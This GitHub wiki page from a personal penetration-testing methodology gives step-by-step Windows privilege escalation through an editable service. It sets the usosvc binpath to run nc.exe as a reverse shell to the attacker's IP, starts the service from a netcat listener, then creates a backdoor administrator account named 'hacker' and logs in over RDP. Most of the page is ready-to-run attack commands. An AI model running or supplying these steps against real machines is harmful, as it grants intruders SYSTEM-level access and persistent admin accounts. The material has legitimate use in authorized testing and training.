Editable Service - TheGetch/Penetration-Testing-Methodology GitHub Wiki
Editable Service
If you find a service that is editable (WinPEAS can help here to find such services) you can edit the binpath to point to nc.exe to get a reverse shell.
Steps also described here: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#example-with-windows-10---cve-2019-1322-usosvc
Note: in both my experiences using this, this does get shell, but it closes in a few seconds.
- Upload
nc.exe
to a writable directory. sc config usosvc binpath= "C:\Inetpub\wwwroot\nc.exe -nv <kali_IP> 9988 -e C:\Windows\System32\cmd.exe"
-
sc config usosvc obj= ".\LocalSystem" password= ""
- I didn't need this second time using it
sc config usosvc start= "demand"
-
nc -lvp 9988
(setup listener on kali) net start usosvc
- R00T!
Since shell closes soon, add new admin user:
net user hacker h@ck3r%93 /add
net localgroup administrators hacker /add
Now RDP/ssh with new creds (if services are available, or you can open them yourself):
rdesktop <target>
- R00T!
The shell closes due to a Windows timeout variable in the registry that defines how long to wait for a service to response. If you're in a position to edit that (i.e. ssh/rdp not enabled) this would stabilize the shell. If you don’t want to edit the registry, since you're admin for a bit with this shell, you could try enabling RDP or SSH.